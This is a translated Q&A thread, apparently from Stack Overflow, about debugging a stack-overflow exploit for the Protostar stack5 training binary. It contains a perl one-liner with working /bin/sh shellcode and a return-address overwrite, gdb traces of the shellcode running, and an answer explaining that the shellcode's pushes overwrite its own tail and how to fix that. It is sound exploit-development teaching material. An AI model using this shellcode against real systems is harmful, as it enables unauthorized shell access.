Shellcode未正确执行

时间:2017-03-31 12:54:43

标签: gdb buffer-overflow shellcode

我正在努力解决Protostar stack5。 这是一个solution。 它将shellcode放在返回地址之后,我试图把它放在数组中。 我尝试了shellcode,它可以工作。

似乎一切正常,执行跳转到shellcode,但是在shellcode结束后我得到了一个分段错误,并且没有生成shell。我不知道为什么,在gdb中并非所有shellcode指令都正确显示。 例如,0xbffff690应为mov %esp,%ecx而不是cwtl。也许这就是问题?为什么会这样?

编辑:由于数组地址在gdb之外启动时略有不同,我们需要一个nop雪橇。所以我的方法可能不会起作用,因为数组大小太小了。但是我仍然想知道为什么在gdb中错误地解释了shellcode的结尾。

perl -e 'print "\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" . "A"x21 . "\x60\xf6\xff\xbf"' > /tmp/o2


user@protostar:/opt/protostar/bin$ gdb -q stack5
Reading symbols from /opt/protostar/bin/stack5...done.
(gdb) disas main
Dump of assembler code for function main:
0x080483c4 <main+0>:    push   %ebp
0x080483c5 <main+1>:    mov    %esp,%ebp
0x080483c7 <main+3>:    and    $0xfffffff0,%esp
0x080483ca <main+6>:    sub    $0x50,%esp
0x080483cd <main+9>:    lea    0x10(%esp),%eax
0x080483d1 <main+13>:   mov    %eax,(%esp)
0x080483d4 <main+16>:   call   0x80482e8 <gets@plt>
0x080483d9 <main+21>:   leave  
0x080483da <main+22>:   ret    
End of assembler dump.
(gdb) b *0x080483da
Breakpoint 1 at 0x80483da: file stack5/stack5.c, line 11.
(gdb) r < /tmp/o2
Starting program: /opt/protostar/bin/stack5 < /tmp/o2

Breakpoint 1, 0x080483da in main (argc=Cannot access memory at address 0x41414149
) at stack5/stack5.c:11
11  stack5/stack5.c: No such file or directory.
    in stack5/stack5.c
(gdb) b *0xbffff660
Breakpoint 2 at 0xbffff660
(gdb) c
Continuing.

Breakpoint 2, 0xbffff660 in ?? ()
(gdb) display/i $pc
1: x/i $pc
0xbffff660: xor    %eax,%eax
(gdb) ni
0xbffff662 in ?? ()
1: x/i $pc
0xbffff662: xor    %ebx,%ebx
(gdb) 
0xbffff664 in ?? ()
1: x/i $pc
0xbffff664: mov    $0x6,%al
(gdb) 
0xbffff666 in ?? ()
1: x/i $pc
0xbffff666: int    $0x80
(gdb) 
0xbffff668 in ?? ()
1: x/i $pc
0xbffff668: push   %ebx
(gdb) 
0xbffff669 in ?? ()
1: x/i $pc
0xbffff669: push   $0x7974742f
(gdb) 
0xbffff66e in ?? ()
1: x/i $pc
0xbffff66e: push   $0x7665642f
(gdb) 
0xbffff673 in ?? ()
1: x/i $pc
0xbffff673: mov    %esp,%ebx
(gdb) 
0xbffff675 in ?? ()
1: x/i $pc
0xbffff675: xor    %ecx,%ecx
(gdb) 
0xbffff677 in ?? ()
1: x/i $pc
0xbffff677: mov    $0x2712,%cx
(gdb) 
0xbffff67b in ?? ()
1: x/i $pc
0xbffff67b: mov    $0x5,%al
(gdb) 
0xbffff67d in ?? ()
1: x/i $pc
0xbffff67d: int    $0x80
(gdb) 
0xbffff67f in ?? ()
1: x/i $pc
0xbffff67f: xor    %eax,%eax
(gdb) 
0xbffff681 in ?? ()
1: x/i $pc
0xbffff681: push   %eax
(gdb) 
0xbffff682 in ?? ()
1: x/i $pc
0xbffff682: push   $0x68732f2f
(gdb) 
0xbffff687 in ?? ()
1: x/i $pc
0xbffff687: push   $0x6e69622f
(gdb) 
0xbffff68c in ?? ()
1: x/i $pc
0xbffff68c: mov    %esp,%ebx
(gdb) 
0xbffff68e in ?? ()
1: x/i $pc
0xbffff68e: push   %eax
(gdb) 
0xbffff68f in ?? ()
1: x/i $pc
0xbffff68f: push   %ebx
(gdb) 
0xbffff690 in ?? ()
1: x/i $pc
0xbffff690: cwtl   
(gdb) 
0xbffff691 in ?? ()
1: x/i $pc
0xbffff691: idiv   %bh
(gdb) 
0xbffff693 in ?? ()
1: x/i $pc
0xbffff693: mov    $0x0,%edi
(gdb) 
0xbffff698 in ?? ()
1: x/i $pc
0xbffff698: das    
(gdb) 
0xbffff699 in ?? ()
1: x/i $pc
0xbffff699: bound  %ebp,0x6e(%ecx)
(gdb) 

Program received signal SIGSEGV, Segmentation fault.
0xbffff699 in ?? ()
1: x/i $pc
0xbffff699: bound  %ebp,0x6e(%ecx)

1 个答案:

答案 0 :(得分:2)

有趣的问题。答案是:堆栈溢出中存在堆栈溢出。

在我的系统上,main的反汇编地址略有不同:

(gdb) disas
Dump of assembler code for function main:
   0x0804841d <+0>:     push   %ebp
   0x0804841e <+1>:     mov    %esp,%ebp
   0x08048420 <+3>:     and    $0xfffffff0,%esp
   0x08048423 <+6>:     sub    $0x50,%esp
   0x08048426 <+9>:     lea    0x10(%esp),%eax
   0x0804842a <+13>:    mov    %eax,(%esp)
   0x0804842d <+16>:    call   0x80482f0 <gets@plt>
   0x08048432 <+21>:    leave
   0x08048433 <+22>:    ret
End of assembler dump.

堆栈地址也不同:在0x0804841d处停止时的返回地址为0xffffcedc,这意味着当我到达gets时,$eax的值为0xffffce90,我需要相应地调整漏洞利用代码。

然后我在*0x08048433中设置了一个断点,并在我到达它后执行以下命令:

(gdb) display/23i 0xffffce90
(gdb) stepi

以下是我看到的内容:

0xffffce90 in ?? ()
1: x/23i 0xffffce90
=> 0xffffce90:  xor    %eax,%eax
   0xffffce92:  xor    %ebx,%ebx
   0xffffce94:  mov    $0x6,%al
   0xffffce96:  int    $0x80
   0xffffce98:  push   %ebx
   0xffffce99:  push   $0x7974742f
   0xffffce9e:  push   $0x7665642f
   0xffffcea3:  mov    %esp,%ebx
   0xffffcea5:  xor    %ecx,%ecx
   0xffffcea7:  mov    $0x2712,%cx
   0xffffceab:  mov    $0x5,%al
   0xffffcead:  int    $0x80
   0xffffceaf:  xor    %eax,%eax
   0xffffceb1:  push   %eax
   0xffffceb2:  push   $0x68732f2f
   0xffffceb7:  push   $0x6e69622f
   0xffffcebc:  mov    %esp,%ebx
   0xffffcebe:  push   %eax
   0xffffcebf:  push   %ebx
   0xffffcec0:  mov    %esp,%ecx
   0xffffcec2:  cltd
   0xffffcec3:  mov    $0xb,%al
   0xffffcec5:  int    $0x80
(gdb)   # I press Enter here to repeat stepi
0xffffce92 in ?? ()
1: x/23i 0xffffce90
   0xffffce90:  xor    %eax,%eax
=> 0xffffce92:  xor    %ebx,%ebx
   0xffffce94:  mov    $0x6,%al
   0xffffce96:  int    $0x80
   0xffffce98:  push   %ebx
   0xffffce99:  push   $0x7974742f
   0xffffce9e:  push   $0x7665642f
   0xffffcea3:  mov    %esp,%ebx
   0xffffcea5:  xor    %ecx,%ecx
   0xffffcea7:  mov    $0x2712,%cx
   0xffffceab:  mov    $0x5,%al
   0xffffcead:  int    $0x80
   0xffffceaf:  xor    %eax,%eax
   0xffffceb1:  push   %eax
   0xffffceb2:  push   $0x68732f2f
   0xffffceb7:  push   $0x6e69622f
   0xffffcebc:  mov    %esp,%ebx
   0xffffcebe:  push   %eax
   0xffffcebf:  push   %ebx
   0xffffcec0:  mov    %esp,%ecx
   0xffffcec2:  cltd
   0xffffcec3:  mov    $0xb,%al
   0xffffcec5:  int    $0x80
(gdb)
0xffffce94 in ?? ()
1: x/23i 0xffffce90
   0xffffce90:  xor    %eax,%eax
   0xffffce92:  xor    %ebx,%ebx
=> 0xffffce94:  mov    $0x6,%al
   0xffffce96:  int    $0x80
   0xffffce98:  push   %ebx
   0xffffce99:  push   $0x7974742f
   0xffffce9e:  push   $0x7665642f
   0xffffcea3:  mov    %esp,%ebx
   0xffffcea5:  xor    %ecx,%ecx
   0xffffcea7:  mov    $0x2712,%cx
   0xffffceab:  mov    $0x5,%al
   0xffffcead:  int    $0x80
   0xffffceaf:  xor    %eax,%eax
   0xffffceb1:  push   %eax
   0xffffceb2:  push   $0x68732f2f
   0xffffceb7:  push   $0x6e69622f
   0xffffcebc:  mov    %esp,%ebx
   0xffffcebe:  push   %eax
   0xffffcebf:  push   %ebx
   0xffffcec0:  mov    %esp,%ecx
   0xffffcec2:  cltd
   0xffffcec3:  mov    $0xb,%al
   0xffffcec5:  int    $0x80
(gdb)

到目前为止,一切都进展顺利。但请注意当我们到达0xffffcebestepi时会发生什么:

0xffffcebf in ?? ()
1: x/23i 0xffffce90
   0xffffce90:  xor    %eax,%eax
   0xffffce92:  xor    %ebx,%ebx
   0xffffce94:  mov    $0x6,%al
   0xffffce96:  int    $0x80
   0xffffce98:  push   %ebx
   0xffffce99:  push   $0x7974742f
   0xffffce9e:  push   $0x7665642f
   0xffffcea3:  mov    %esp,%ebx
   0xffffcea5:  xor    %ecx,%ecx
   0xffffcea7:  mov    $0x2712,%cx
   0xffffceab:  mov    $0x5,%al
   0xffffcead:  int    $0x80
   0xffffceaf:  xor    %eax,%eax
   0xffffceb1:  push   %eax
   0xffffceb2:  push   $0x68732f2f
   0xffffceb7:  push   $0x6e69622f
   0xffffcebc:  mov    %esp,%ebx
   0xffffcebe:  push   %eax
=> 0xffffcebf:  push   %ebx
   0xffffcec0:  mov    %esp,%ecx
   0xffffcec2:  cltd
   0xffffcec3:  mov    $0x0,%al
   0xffffcec5:  add    %al,(%eax)

刚刚执行的push用其他内容(即int80的内容)覆盖过去0xffffcec5的{​​{1}}。这是因为我们正在堆栈上执行指令,而同时 $eax将值放到同一个堆栈上!

另一个push,我看到了这个:

stepi

下一个(gdb) stepi 0xffffcec0 in ?? () 1: x/23i 0xffffce90 0xffffce90: xor %eax,%eax 0xffffce92: xor %ebx,%ebx 0xffffce94: mov $0x6,%al 0xffffce96: int $0x80 0xffffce98: push %ebx 0xffffce99: push $0x7974742f 0xffffce9e: push $0x7665642f 0xffffcea3: mov %esp,%ebx 0xffffcea5: xor %ecx,%ecx 0xffffcea7: mov $0x2712,%cx 0xffffceab: mov $0x5,%al 0xffffcead: int $0x80 0xffffceaf: xor %eax,%eax 0xffffceb1: push %eax 0xffffceb2: push $0x68732f2f 0xffffceb7: push $0x6e69622f 0xffffcebc: mov %esp,%ebx 0xffffcebe: push %eax 0xffffcebf: push %ebx => 0xffffcec0: enter $0xffce,$0xff 0xffffcec4: add %al,(%eax) 0xffffcec6: add %al,(%eax) 0xffffcec8: das 导致stepi

SIGSEGV

那么解决方案是什么?

当我们在(gdb) stepi Program received signal SIGSEGV, Segmentation fault. 输入代码时,我们的堆栈指向0xffffce90,即超过shellcode只有80个字节。我们的shellcode长度是54个字节。因此,在我们开始破坏shellcode之前,我们最多可以在堆栈上推送6个单词。

当前的shellcode推送了8个单词,在第7次和第8次推送时破坏了自己。

shellcode需要弹出一些单词(例如在0xffffcee0处的第一个系统调用后添加pop %eax),或者使用例如0xffffcead在进入时,shellcode的末尾和堆栈顶部之间有足够的空间。

我使用了后者,它起作用了:

add $0x80,%esp